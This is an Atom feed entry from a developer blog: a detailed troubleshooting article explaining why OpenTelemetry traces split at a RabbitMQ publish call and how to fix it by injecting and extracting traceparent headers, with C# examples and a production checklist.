<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://mayurjp.github.io/dev-blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mayurjp.github.io/dev-blog/" rel="alternate" type="text/html" /><updated>2026-07-22T07:42:07+00:00</updated><id>https://mayurjp.github.io/dev-blog/feed.xml</id><title type="html">Real Repos, Real Ops</title><subtitle>In-depth Kubernetes, Docker, Microservices, Security, System Design, Design Patterns, Google Cloud, CI/CD, Domain-Driven Design, Software Architecture, Databases, Observability, MLOps, and Generative AI concepts learned from actual production repositories — not hello-world YAML.</subtitle><author><name>Mayur</name></author><entry><title type="html">Observability: Why Does My Trace End at the Publish Call and Reappear as a Second, Parentless Trace?</title><link href="https://mayurjp.github.io/dev-blog/observability/obs-trace-breaks-across-async/" rel="alternate" type="text/html" title="Observability: Why Does My Trace End at the Publish Call and Reappear as a Second, Parentless Trace?" /><published>2026-09-09T03:30:00+00:00</published><updated>2026-09-09T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/observability/obs-trace-breaks-across-async</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/observability/obs-trace-breaks-across-async/"><![CDATA[<p><strong>TL;DR:</strong> The trace stops at the message broker because OpenTelemetry’s <em>active</em> <code class="language-plaintext highlighter-rouge">Context</code> lives in an execution-unit-local slot (<code class="language-plaintext highlighter-rouge">AsyncLocal</code> in .NET, <code class="language-plaintext highlighter-rouge">contextvars</code> in Python, a <code class="language-plaintext highlighter-rouge">ContextStorage</code> <code class="language-plaintext highlighter-rouge">ThreadLocal</code> in Java) and there is no instrumentation on the AMQP publish path to serialise it into a <code class="language-plaintext highlighter-rouge">traceparent</code> header — so the consumer, running on a completely unrelated execution unit in a different process, starts a fresh root span. Fix it by explicitly <code class="language-plaintext highlighter-rouge">Inject</code>-ing the context into the message headers on publish and <code class="language-plaintext highlighter-rouge">Extract</code>-ing it into the consumer span’s parent.</p>

<blockquote>
  <p><strong>In plain English (30 sec):</strong> Logs with traceId that follows request across services.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“Checkout p99 on the dashboard is 84 milliseconds and it has been 84 milliseconds all week. Support has three tickets saying the confirmation screen takes forty seconds. I pulled a trace ID off a slow request and Jaeger shows me a beautiful, complete, 84ms trace that ends at <code class="language-plaintext highlighter-rouge">order.placed publish</code>. Nothing is broken in it. There’s no error, no gap, no orphan span — the trace just <em>finishes</em>, correctly, and the customer is still waiting.”</p>
</blockquote>

<p>What rules out the usual suspects: this isn’t a sampling problem (the trace is present and complete), it isn’t a clock-skew problem (there is no negative-duration span), and it isn’t a missing-exporter problem (the worker <em>is</em> exporting spans — searching Jaeger for <code class="language-plaintext highlighter-rouge">service.name=order-worker</code> returns thousands of traces). The worker’s traces are all there. They are just all <strong>root</strong> traces, with no parent, unlinked to any checkout.</p>

<h2 id="reproduce">Reproduce</h2>

<p>An HTTP hop and a broker hop, instrumented identically as far as the developer is concerned:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// checkout-api — both calls look symmetric in the code</span>
<span class="n">builder</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="nf">AddOpenTelemetry</span><span class="p">().</span><span class="nf">WithTracing</span><span class="p">(</span><span class="n">t</span> <span class="p">=&gt;</span> <span class="n">t</span>
    <span class="p">.</span><span class="nf">AddAspNetCoreInstrumentation</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">AddHttpClientInstrumentation</span><span class="p">()</span>     <span class="c1">// &lt;- injects traceparent for you</span>
    <span class="p">.</span><span class="nf">AddSource</span><span class="p">(</span><span class="s">"Checkout.Api"</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">AddOtlpExporter</span><span class="p">());</span>

<span class="c1">// hop 1: HTTP. Trace survives.</span>
<span class="k">await</span> <span class="n">_http</span><span class="p">.</span><span class="nf">PostAsJsonAsync</span><span class="p">(</span><span class="s">"http://inventory-svc/reserve"</span><span class="p">,</span> <span class="n">reservation</span><span class="p">);</span>

<span class="c1">// hop 2: AMQP. Trace dies here.</span>
<span class="kt">var</span> <span class="n">props</span> <span class="p">=</span> <span class="n">_channel</span><span class="p">.</span><span class="nf">CreateBasicProperties</span><span class="p">();</span>
<span class="n">props</span><span class="p">.</span><span class="n">ContentType</span> <span class="p">=</span> <span class="s">"application/json"</span><span class="p">;</span>
<span class="n">_channel</span><span class="p">.</span><span class="nf">BasicPublish</span><span class="p">(</span>
    <span class="n">exchange</span><span class="p">:</span> <span class="s">"orders"</span><span class="p">,</span> <span class="n">routingKey</span><span class="p">:</span> <span class="s">"order.placed"</span><span class="p">,</span>
    <span class="n">basicProperties</span><span class="p">:</span> <span class="n">props</span><span class="p">,</span> <span class="n">body</span><span class="p">:</span> <span class="n">JsonSerializer</span><span class="p">.</span><span class="nf">SerializeToUtf8Bytes</span><span class="p">(</span><span class="n">evt</span><span class="p">));</span>
</code></pre></div></div>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// order-worker — a long-lived consumer loop</span>
<span class="kt">var</span> <span class="n">consumer</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">EventingBasicConsumer</span><span class="p">(</span><span class="n">_channel</span><span class="p">);</span>
<span class="n">consumer</span><span class="p">.</span><span class="n">Received</span> <span class="p">+=</span> <span class="p">(</span><span class="n">_</span><span class="p">,</span> <span class="n">ea</span><span class="p">)</span> <span class="p">=&gt;</span>
<span class="p">{</span>
    <span class="c1">// Activity.Current here is null, every single time.</span>
    <span class="k">using</span> <span class="nn">var</span> <span class="n">activity</span> <span class="p">=</span> <span class="n">Source</span><span class="p">.</span><span class="nf">StartActivity</span><span class="p">(</span><span class="s">"order.placed process"</span><span class="p">);</span>
    <span class="n">_handler</span><span class="p">.</span><span class="nf">Handle</span><span class="p">(</span><span class="nf">Decode</span><span class="p">(</span><span class="n">ea</span><span class="p">.</span><span class="n">Body</span><span class="p">));</span>
<span class="p">};</span>
<span class="n">_channel</span><span class="p">.</span><span class="nf">BasicConsume</span><span class="p">(</span><span class="s">"order.placed"</span><span class="p">,</span> <span class="n">autoAck</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span> <span class="n">consumer</span><span class="p">);</span>
</code></pre></div></div>

<p>Publish one order, then look at Jaeger. You get two traces, not one.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-immediate-trigger-only-the-http-hop-has-a-propagator-wired-to-it">1. The immediate trigger: only the HTTP hop has a propagator wired to it</h3>

<p><code class="language-plaintext highlighter-rouge">AddHttpClientInstrumentation()</code> hooks <code class="language-plaintext highlighter-rouge">HttpClient</code>’s <code class="language-plaintext highlighter-rouge">DiagnosticSource</code> events and, on every outbound request, calls the configured propagator to write <code class="language-plaintext highlighter-rouge">traceparent</code> onto the request headers. That is an <em>instrumentation library</em> for one specific transport. <code class="language-plaintext highlighter-rouge">RabbitMQ.Client</code> has no such hook in this pipeline, so <code class="language-plaintext highlighter-rouge">BasicPublish</code> sends a message whose header table is empty. Nothing about the publish call site tells you this — it compiles, it runs, it emits a perfectly good span.</p>

<p>You can see the asymmetry on the wire. The HTTP hop carries the W3C header, whose format is fixed by the spec at four dash-separated fields:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>traceparent: 00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01
             ^  ^                                ^                ^
             |  |                                |                trace-flags: 2 hex,
             |  |                                |                only bit 0 is defined
             |  |                                |                (01 = sampled)
             |  |                                parent-id: 16 hex chars / 8 bytes,
             |  |                                all-zero is invalid
             |  trace-id: 32 hex chars / 16 bytes, all-zero is invalid
             version: 2 hex chars, ff is invalid
</code></pre></div></div>

<p>The AMQP hop carries no header at all.</p>

<h3 id="2-the-underlying-mechanism-the-active-context-is-execution-unit-scoped-and-the-consumer-is-a-different-execution-unit">2. The underlying mechanism: the active Context is execution-unit-scoped, and the consumer is a different execution unit</h3>

<p>The OpenTelemetry specification defines <code class="language-plaintext highlighter-rouge">Context</code> as “a propagation mechanism which carries execution-scoped values across API boundaries,” and describes two modes for how you get at it. In <strong>implicit</strong> mode — which is what every mainstream SDK uses — the SDK “automatically manages <code class="language-plaintext highlighter-rouge">Context</code> per execution unit (threads, coroutines, etc.),” and you manipulate it with <strong>Attach Context</strong> (which returns a <code class="language-plaintext highlighter-rouge">Token</code>) and <strong>Detach Context</strong> (which restores the prior state using that <code class="language-plaintext highlighter-rouge">Token</code>).</p>

<p>“Per execution unit” is the whole failure. Concretely:</p>

<table>
  <thead>
    <tr>
      <th>Language</th>
      <th>Implicit-context storage</th>
      <th>Survives a hand-off to…</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>.NET</td>
      <td><code class="language-plaintext highlighter-rouge">Activity.Current</code>, backed by <code class="language-plaintext highlighter-rouge">AsyncLocal&lt;T&gt;</code> over <code class="language-plaintext highlighter-rouge">ExecutionContext</code></td>
      <td><code class="language-plaintext highlighter-rouge">await</code>, <code class="language-plaintext highlighter-rouge">Task.Run</code>, <code class="language-plaintext highlighter-rouge">ThreadPool.QueueUserWorkItem</code> — all flow it</td>
    </tr>
    <tr>
      <td>Python</td>
      <td><code class="language-plaintext highlighter-rouge">contextvars.ContextVar</code></td>
      <td><code class="language-plaintext highlighter-rouge">await</code> and <code class="language-plaintext highlighter-rouge">asyncio.create_task</code>; <strong>not</strong> a bare <code class="language-plaintext highlighter-rouge">threading.Thread</code></td>
    </tr>
    <tr>
      <td>Java</td>
      <td><code class="language-plaintext highlighter-rouge">Context</code> in a <code class="language-plaintext highlighter-rouge">ThreadLocal</code>-backed <code class="language-plaintext highlighter-rouge">ContextStorage</code></td>
      <td>nothing — a new thread starts empty unless you wrap the <code class="language-plaintext highlighter-rouge">Runnable</code></td>
    </tr>
  </tbody>
</table>

<p>Note the .NET row, because it is the opposite of the folklore: <code class="language-plaintext highlighter-rouge">Task.Run</code> <strong>does</strong> flow <code class="language-plaintext highlighter-rouge">Activity.Current</code>, because <code class="language-plaintext highlighter-rouge">AsyncLocal&lt;T&gt;</code> rides on <code class="language-plaintext highlighter-rouge">ExecutionContext</code>, and the runtime “ensures that the <code class="language-plaintext highlighter-rouge">ExecutionContext</code> is consistently transferred across runtime-defined asynchronous points.” Blaming <code class="language-plaintext highlighter-rouge">Task.Run</code> here would send you chasing a bug that isn’t there.</p>

<p>The two hand-offs that genuinely lose it are:</p>

<ol>
  <li><strong>A long-lived consumer loop.</strong> <code class="language-plaintext highlighter-rouge">EventingBasicConsumer</code>’s callback thread, or a <code class="language-plaintext highlighter-rouge">BackgroundService.ExecuteAsync</code> reading a <code class="language-plaintext highlighter-rouge">Channel&lt;T&gt;</code>, had its <code class="language-plaintext highlighter-rouge">ExecutionContext</code> established when the <em>host started</em>. Enqueuing an item copies a payload, not an ambient context. The reader’s <code class="language-plaintext highlighter-rouge">Activity.Current</code> is whatever the host had at startup: <code class="language-plaintext highlighter-rouge">null</code>.</li>
  <li><strong>A process boundary.</strong> No in-process mechanism can span two processes. The only carrier is the message itself.</li>
</ol>

<p>Both collapse to the same requirement: if you want the context on the other side, something has to serialise it into the payload’s metadata.</p>

<h3 id="3-the-confirming-evidence-an-all-zero-parentspanid-in-the-exported-span">3. The confirming evidence: an all-zero parentSpanId in the exported span</h3>

<p>Don’t infer this from the UI — read the exported span. Fetch the worker’s trace straight from the tracing backend:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s1">'http://jaeger:16686/api/traces/a1c8ee90f4b74e0d9b1c2a3f5e6d7c88'</span> <span class="se">\</span>
  | jq <span class="s1">'.data[0].spans[] | {operationName, spanID, references}'</span>
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"operationName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"order.placed process"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"spanID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"5b1e0c72d9a34f10"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"references"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>An empty <code class="language-plaintext highlighter-rouge">references</code> array — equivalently, an all-zero <code class="language-plaintext highlighter-rouge">parentSpanId</code> of <code class="language-plaintext highlighter-rouge">0000000000000000</code> in OTLP — is the definition of a root span. The worker didn’t lose a parent it had. It never had one.</p>

<p>The matching in-process check, on both sides:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Publisher, immediately before BasicPublish</span>
<span class="n">_log</span><span class="p">.</span><span class="nf">LogInformation</span><span class="p">(</span><span class="s">"publish traceparent={Tp}"</span><span class="p">,</span> <span class="n">Activity</span><span class="p">.</span><span class="n">Current</span><span class="p">?.</span><span class="n">Id</span><span class="p">);</span>
<span class="c1">// publish traceparent=00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01</span>

<span class="c1">// Consumer, first line of the Received handler</span>
<span class="n">_log</span><span class="p">.</span><span class="nf">LogInformation</span><span class="p">(</span><span class="s">"consume traceparent={Tp} headerCount={N}"</span><span class="p">,</span>
    <span class="n">Activity</span><span class="p">.</span><span class="n">Current</span><span class="p">?.</span><span class="n">Id</span><span class="p">,</span> <span class="n">ea</span><span class="p">.</span><span class="n">BasicProperties</span><span class="p">.</span><span class="n">Headers</span><span class="p">?.</span><span class="n">Count</span> <span class="p">??</span> <span class="m">0</span><span class="p">);</span>
<span class="c1">// consume traceparent=(null) headerCount=0</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">headerCount=0</code> is the diagnosis. The publisher had a valid context and simply never wrote it down.</p>

<h3 id="what-the-split-trace-hides">What the split trace hides</h3>

<p>The reason this is worth a page and not a footnote is what the missing link costs you operationally. Here are both traces with their real per-hop numbers:</p>

<pre><code class="language-mermaid">sequenceDiagram
    autonumber
    participant C as client
    participant API as checkout-api
    participant INV as inventory-svc
    participant Q as RabbitMQ order.placed
    participant W as order-worker
    participant PAY as payment-svc

    Note over C,API: TRACE 1 - traceId 4bf92f35.. - total 84ms
    C-&gt;&gt;API: POST /checkout
    API-&gt;&gt;API: validate-cart 12ms
    API-&gt;&gt;INV: POST /reserve with traceparent 38ms
    INV--&gt;&gt;API: 201 Created
    API-&gt;&gt;Q: basic.publish order.placed 6ms
    Note over API,Q: header table empty - no traceparent written
    API--&gt;&gt;C: 202 Accepted at 84ms - span ends here

    Note over Q,W: 39,400ms queue wait - in neither trace
    Note over W,PAY: TRACE 2 - traceId a1c8ee90.. - new root - total 1,240ms
    W-&gt;&gt;W: deserialize 8ms
    W-&gt;&gt;PAY: POST /charge 890ms - the actual bottleneck
    PAY--&gt;&gt;W: 200 OK
    W-&gt;&gt;W: write-ledger 210ms
    W-&gt;&gt;W: send-receipt 95ms

    rect rgb(255, 235, 235)
    Note over API,W: 84ms + 39,400ms + 1,240ms = 40,724ms the customer waits
    end
</code></pre>

<p>Read the numbers, not the boxes. The checkout dashboard reports 84ms and is <em>correct</em> — the API really does finish in 84ms. The 890ms payment call is the slowest single hop in the system and it is attributed to a trace nobody looks at. And the 39.4 seconds of queue wait, which is 97% of the customer’s total, appears in <strong>no</strong> span at all: trace 1 ends before it and trace 2 begins after it. Latency attribution is the entire operational point of tracing, and a broken link at one hop doesn’t degrade it gracefully — it deletes the largest term.</p>

<h2 id="the-fix">The fix</h2>

<p>Inject on publish, extract on consume. <code class="language-plaintext highlighter-rouge">TextMapPropagator</code> is transport-agnostic by design: it takes a carrier of any type plus a delegate that knows how to write to it, so the same propagator that handles HTTP headers handles an AMQP header table.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// checkout-api — publisher</span>
<span class="k">private</span> <span class="k">static</span> <span class="k">readonly</span> <span class="n">ActivitySource</span> <span class="n">Source</span> <span class="p">=</span> <span class="k">new</span><span class="p">(</span><span class="s">"Checkout.Api"</span><span class="p">);</span>

<span class="k">public</span> <span class="k">void</span> <span class="nf">PublishOrderPlaced</span><span class="p">(</span><span class="n">OrderPlaced</span> <span class="n">evt</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// PRODUCER kind marks this span as the message creation context.</span>
    <span class="k">using</span> <span class="nn">var</span> <span class="n">activity</span> <span class="p">=</span> <span class="n">Source</span><span class="p">.</span><span class="nf">StartActivity</span><span class="p">(</span><span class="s">"order.placed publish"</span><span class="p">,</span> <span class="n">ActivityKind</span><span class="p">.</span><span class="n">Producer</span><span class="p">);</span>

    <span class="kt">var</span> <span class="n">props</span> <span class="p">=</span> <span class="n">_channel</span><span class="p">.</span><span class="nf">CreateBasicProperties</span><span class="p">();</span>
    <span class="n">props</span><span class="p">.</span><span class="n">Headers</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">object</span><span class="p">&gt;();</span>

    <span class="c1">// Inject&lt;T&gt;(PropagationContext, T carrier, Action&lt;T, string, string&gt; setter)</span>
    <span class="c1">// The setter is how the propagator writes into a carrier it knows nothing about.</span>
    <span class="n">Propagators</span><span class="p">.</span><span class="n">DefaultTextMapPropagator</span><span class="p">.</span><span class="nf">Inject</span><span class="p">(</span>
        <span class="k">new</span> <span class="nf">PropagationContext</span><span class="p">(</span><span class="n">activity</span><span class="p">?.</span><span class="n">Context</span> <span class="p">??</span> <span class="k">default</span><span class="p">,</span> <span class="n">Baggage</span><span class="p">.</span><span class="n">Current</span><span class="p">),</span>
        <span class="n">props</span><span class="p">.</span><span class="n">Headers</span><span class="p">,</span>
        <span class="k">static</span> <span class="p">(</span><span class="n">headers</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="k">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="n">headers</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> <span class="p">=</span> <span class="k">value</span><span class="p">);</span>

    <span class="n">activity</span><span class="p">?.</span><span class="nf">SetTag</span><span class="p">(</span><span class="s">"messaging.system"</span><span class="p">,</span> <span class="s">"rabbitmq"</span><span class="p">);</span>
    <span class="n">activity</span><span class="p">?.</span><span class="nf">SetTag</span><span class="p">(</span><span class="s">"messaging.operation.name"</span><span class="p">,</span> <span class="s">"publish"</span><span class="p">);</span>
    <span class="n">activity</span><span class="p">?.</span><span class="nf">SetTag</span><span class="p">(</span><span class="s">"messaging.destination.name"</span><span class="p">,</span> <span class="s">"order.placed"</span><span class="p">);</span>

    <span class="n">_channel</span><span class="p">.</span><span class="nf">BasicPublish</span><span class="p">(</span><span class="s">"orders"</span><span class="p">,</span> <span class="s">"order.placed"</span><span class="p">,</span> <span class="n">props</span><span class="p">,</span>
        <span class="n">JsonSerializer</span><span class="p">.</span><span class="nf">SerializeToUtf8Bytes</span><span class="p">(</span><span class="n">evt</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// order-worker — consumer</span>
<span class="k">private</span> <span class="k">static</span> <span class="k">readonly</span> <span class="n">ActivitySource</span> <span class="n">Source</span> <span class="p">=</span> <span class="k">new</span><span class="p">(</span><span class="s">"Order.Worker"</span><span class="p">);</span>

<span class="k">private</span> <span class="k">void</span> <span class="nf">OnReceived</span><span class="p">(</span><span class="kt">object</span><span class="p">?</span> <span class="n">sender</span><span class="p">,</span> <span class="n">BasicDeliverEventArgs</span> <span class="n">ea</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Extract&lt;T&gt;(PropagationContext, T carrier, Func&lt;T, string, IEnumerable&lt;string&gt;?&gt; getter)</span>
    <span class="kt">var</span> <span class="n">parent</span> <span class="p">=</span> <span class="n">Propagators</span><span class="p">.</span><span class="n">DefaultTextMapPropagator</span><span class="p">.</span><span class="nf">Extract</span><span class="p">(</span>
        <span class="k">default</span><span class="p">,</span> <span class="n">ea</span><span class="p">.</span><span class="n">BasicProperties</span><span class="p">.</span><span class="n">Headers</span><span class="p">,</span> <span class="n">ReadHeader</span><span class="p">);</span>

    <span class="c1">// Baggage is ambient too - Extract returns it, but it will not apply itself.</span>
    <span class="n">Baggage</span><span class="p">.</span><span class="n">Current</span> <span class="p">=</span> <span class="n">parent</span><span class="p">.</span><span class="n">Baggage</span><span class="p">;</span>

    <span class="k">using</span> <span class="nn">var</span> <span class="n">activity</span> <span class="p">=</span> <span class="n">Source</span><span class="p">.</span><span class="nf">StartActivity</span><span class="p">(</span>
        <span class="s">"order.placed process"</span><span class="p">,</span> <span class="n">ActivityKind</span><span class="p">.</span><span class="n">Consumer</span><span class="p">,</span> <span class="n">parent</span><span class="p">.</span><span class="n">ActivityContext</span><span class="p">);</span>

    <span class="n">activity</span><span class="p">?.</span><span class="nf">SetTag</span><span class="p">(</span><span class="s">"messaging.operation.type"</span><span class="p">,</span> <span class="s">"process"</span><span class="p">);</span>
    <span class="n">_handler</span><span class="p">.</span><span class="nf">Handle</span><span class="p">(</span><span class="nf">Decode</span><span class="p">(</span><span class="n">ea</span><span class="p">.</span><span class="n">Body</span><span class="p">));</span>
<span class="p">}</span>

<span class="c1">// RabbitMQ.Client hands header values back as byte[], not string.</span>
<span class="c1">// Miss this and Extract silently finds nothing and you are back where you started.</span>
<span class="k">private</span> <span class="k">static</span> <span class="n">IEnumerable</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="nf">ReadHeader</span><span class="p">(</span><span class="n">IDictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">object</span><span class="p">&gt;?</span> <span class="n">headers</span><span class="p">,</span> <span class="kt">string</span> <span class="n">key</span><span class="p">)</span>
    <span class="p">=&gt;</span> <span class="n">headers</span> <span class="k">is</span> <span class="n">not</span> <span class="k">null</span> <span class="p">&amp;&amp;</span> <span class="n">headers</span><span class="p">.</span><span class="nf">TryGetValue</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="k">out</span> <span class="kt">var</span> <span class="n">v</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="n">v</span> <span class="k">is</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bytes</span>
        <span class="p">?</span> <span class="k">new</span><span class="p">[]</span> <span class="p">{</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">bytes</span><span class="p">)</span> <span class="p">}</span>
        <span class="p">:</span> <span class="n">Array</span><span class="p">.</span><span class="n">Empty</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;();</span>
</code></pre></div></div>

<p><strong>Parent, or link?</strong> Making the <code class="language-plaintext highlighter-rouge">process</code> span a direct child of the publish span, as above, is the right default for a <strong>single-message, one-consumer</strong> flow like this one — it produces the continuous trace the on-call engineer wants. The messaging semantic conventions do use span links as their <em>default</em> mechanism, because links are “the only consistent trace structure that can be guaranteed” across fan-out, batching and multi-consumer topologies, and they specifically say it is “NOT RECOMMENDED to use the message creation context as the parent of <code class="language-plaintext highlighter-rouge">Process</code> spans (by default) if processing happens in the scope of another span.”</p>

<p>So: one message in, one handler, nothing else on the consumer’s stack — use the parent. Batch consumers that pull 500 messages from N different traces in one <code class="language-plaintext highlighter-rouge">basic.get</code> loop — use links, because there is no single correct parent:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">links</span> <span class="p">=</span> <span class="n">batch</span><span class="p">.</span><span class="nf">Select</span><span class="p">(</span><span class="n">m</span> <span class="p">=&gt;</span> <span class="k">new</span> <span class="nf">ActivityLink</span><span class="p">(</span>
    <span class="n">Propagators</span><span class="p">.</span><span class="n">DefaultTextMapPropagator</span>
        <span class="p">.</span><span class="nf">Extract</span><span class="p">(</span><span class="k">default</span><span class="p">,</span> <span class="n">m</span><span class="p">.</span><span class="n">Headers</span><span class="p">,</span> <span class="n">ReadHeader</span><span class="p">).</span><span class="n">ActivityContext</span><span class="p">)).</span><span class="nf">ToList</span><span class="p">();</span>

<span class="k">using</span> <span class="nn">var</span> <span class="n">activity</span> <span class="p">=</span> <span class="n">Source</span><span class="p">.</span><span class="nf">StartActivity</span><span class="p">(</span>
    <span class="s">"order.placed process"</span><span class="p">,</span> <span class="n">ActivityKind</span><span class="p">.</span><span class="n">Consumer</span><span class="p">,</span> <span class="k">default</span><span class="p">(</span><span class="n">ActivityContext</span><span class="p">),</span> <span class="n">links</span><span class="p">:</span> <span class="n">links</span><span class="p">);</span>
</code></pre></div></div>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Confirm the propagator is not the no-op.</strong> <code class="language-plaintext highlighter-rouge">Propagators.DefaultTextMapPropagator</code> is declared as <code class="language-plaintext highlighter-rouge">public static TextMapPropagator DefaultTextMapPropagator { get; internal set; } = Noop;</code> — it is a <code class="language-plaintext highlighter-rouge">NoopTextMapPropagator</code> until the SDK’s static constructor replaces it with a <code class="language-plaintext highlighter-rouge">CompositeTextMapPropagator</code> of <code class="language-plaintext highlighter-rouge">TraceContextPropagator</code> + <code class="language-plaintext highlighter-rouge">BaggagePropagator</code>. In a worker process that references only <code class="language-plaintext highlighter-rouge">OpenTelemetry.Api</code> and never actually builds a <code class="language-plaintext highlighter-rouge">TracerProvider</code>, <code class="language-plaintext highlighter-rouge">Inject</code> runs, succeeds, and writes nothing. Assert <code class="language-plaintext highlighter-rouge">props.Headers.ContainsKey("traceparent")</code> in an integration test.</p>
  </li>
  <li>
    <p><strong>Check the sampled flag, not just the presence of the header.</strong> <code class="language-plaintext highlighter-rouge">traceparent</code> ending in <code class="language-plaintext highlighter-rouge">-00</code> means the producer’s sampler decided not to record. A consumer span started with that <code class="language-plaintext highlighter-rouge">ActivityContext</code> as its parent inherits the decision under the default parent-based sampler and will not be recorded either — so a partially-sampled system produces exactly the same “worker traces exist but checkout traces don’t link to them” appearance, from a different cause. Grep the header suffix before you go rewriting propagation code.</p>
  </li>
  <li>
    <p><strong>Instrument the queue wait explicitly.</strong> Even a correctly linked trace shows the 39.4s as dead space between the producer span’s end and the consumer span’s start, which no percentile query can aggregate. Stamp the publish time into a message header and record <code class="language-plaintext highlighter-rouge">now - publishedAt</code> as a histogram on the consumer span. Queue wait is a first-class SLI, not a gap.</p>
  </li>
  <li>
    <p><strong>Audit every remaining transport that isn’t HTTP.</strong> The same hole exists for gRPC streaming, Kafka, Azure Service Bus, SQS, Redis pub/sub, database-backed outboxes, and cron jobs that poll a table. A quick census: for each, does something write <code class="language-plaintext highlighter-rouge">traceparent</code> on the way out and read it on the way in? Anything answering “no” is a place where your longest latencies are hiding.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every non-HTTP hand-off calls <code class="language-plaintext highlighter-rouge">Propagators.DefaultTextMapPropagator.Inject</code> with a setter for that transport’s carrier, and the matching <code class="language-plaintext highlighter-rouge">Extract</code> on the far side</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />The consumer’s extract getter handles the carrier’s real value type — <code class="language-plaintext highlighter-rouge">byte[]</code> for <code class="language-plaintext highlighter-rouge">RabbitMQ.Client</code> headers — and is covered by a test that asserts a non-default <code class="language-plaintext highlighter-rouge">ActivityContext</code> comes back</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Consumer spans are started with <code class="language-plaintext highlighter-rouge">ActivityKind.Consumer</code> and an explicit parent <code class="language-plaintext highlighter-rouge">ActivityContext</code> (single message) or <code class="language-plaintext highlighter-rouge">links:</code> (batch), never with the ambient <code class="language-plaintext highlighter-rouge">Activity.Current</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />An integration test asserts <code class="language-plaintext highlighter-rouge">traceparent</code> is present on the published message and matches the 4-field W3C format with a non-zero trace-id and parent-id</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Queue wait time is recorded as its own histogram, since it lives in the gap between the producer and consumer spans rather than inside either one</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />A dashboard panel counts root spans per service — a worker emitting only root spans is the signature of this bug</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>Does <code class="language-plaintext highlighter-rouge">Task.Run</code> lose the trace context in .NET?</strong>
No. <code class="language-plaintext highlighter-rouge">Activity.Current</code> is backed by <code class="language-plaintext highlighter-rouge">AsyncLocal&lt;T&gt;</code>, which rides on <code class="language-plaintext highlighter-rouge">ExecutionContext</code>, and the runtime transfers <code class="language-plaintext highlighter-rouge">ExecutionContext</code> across runtime-defined asynchronous points including <code class="language-plaintext highlighter-rouge">Task.Run</code> and <code class="language-plaintext highlighter-rouge">ThreadPool.QueueUserWorkItem</code>. Context is lost when the consuming code’s execution unit was established somewhere else entirely — a <code class="language-plaintext highlighter-rouge">BackgroundService</code> loop started at host boot, a raw <code class="language-plaintext highlighter-rouge">Thread</code>, an <code class="language-plaintext highlighter-rouge">ExecutionContext.SuppressFlow()</code> region — or when the work crosses a process boundary. On a <code class="language-plaintext highlighter-rouge">Channel&lt;T&gt;</code>, the writer’s context does not travel with the item, because you enqueued a payload, not a context.</p>

